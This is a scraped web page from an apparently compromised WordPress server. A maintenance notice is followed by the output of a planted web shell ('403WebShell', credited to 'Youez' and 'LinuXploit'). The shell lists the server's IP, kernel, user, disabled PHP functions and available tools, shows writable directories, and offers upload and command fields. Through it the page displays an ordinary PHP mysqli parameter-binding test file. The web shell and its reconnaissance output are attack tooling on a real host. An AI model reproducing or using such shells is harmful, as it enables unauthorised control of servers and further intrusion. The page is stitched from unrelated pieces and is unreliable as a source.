WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/mysqli/tests/mysqli_stmt_bind_param_check_param_no_change.phpt
--TEST--
mysqli_stmt_bind_param() - checking whether the parameters are modified (bug#44390)
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
	require('table.inc');
	$link->set_charset('latin1');

	class foo {
	  // @var $bar string
	  public $bar;
	}

	$foo = new foo;
	$foo->bar = "фубар";

	echo "Test 1:\n";
	$stmt = $link->prepare("SELECT ? FOO");
	var_dump($foo); // here you can see the bar member var being a string
	$stmt->bind_param("s", $foo->bar);
	var_dump($foo); // this will show $foo->bar being a reference string
	$stmt->bind_result($one);
	$stmt->execute();
	$stmt->fetch();
	$stmt->free_result();
	echo("$one\n\n");

	// it is getting worse. Binding the same var twice with different
	// types you can get unexpected results (e.g. binary trash for the
	// string and misc data for the integer. See next 2 tests.

	echo "Test 2:\n";
	$stmt = $link->prepare("SELECT ? FOO, ? BAR");
	var_dump($foo);
	$stmt->bind_param("si", $foo->bar, $foo->bar);
	echo "---\n";
	var_dump($foo);
	echo "---\n";
	$stmt->execute();
	var_dump($foo);
	echo "---\n";
	$stmt->bind_result($one, $two);
	$stmt->fetch();
	$stmt->free_result();
	echo("$one - $two\n\n");


	echo "Test 3:\n";
	$stmt = $link->prepare("SELECT ? FOO, ? BAR");
	var_dump($foo);
	$stmt->bind_param("is", $foo->bar, $foo->bar);
	var_dump($foo);
	$stmt->bind_result($one, $two);
	$stmt->execute();
	$stmt->fetch();
	$stmt->free_result();
	echo("$one - $two\n\n");
	echo "done!";
?>
--CLEAN--
<?php
	require_once("clean_table.inc");
?>
--EXPECTF--
Test 1:
object(foo)#%d (1) {
  ["bar"]=>
  string(%d) "фубар"
}
object(foo)#%d (1) {
  ["bar"]=>
  &string(%d) "фубар"
}
фубар

Test 2:
object(foo)#%d (1) {
  ["bar"]=>
  string(%d) "фубар"
}
---
object(foo)#%d (1) {
  ["bar"]=>
  &string(%d) "фубар"
}
---
object(foo)#%d (1) {
  ["bar"]=>
  &string(%d) "фубар"
}
---
фубар - 0

Test 3:
object(foo)#%d (1) {
  ["bar"]=>
  string(%d) "фубар"
}
object(foo)#%d (1) {
  ["bar"]=>
  &string(%d) "фубар"
}
0 - фубар

done!

Youez - 2016 - github.com/yon3zu
LinuXploit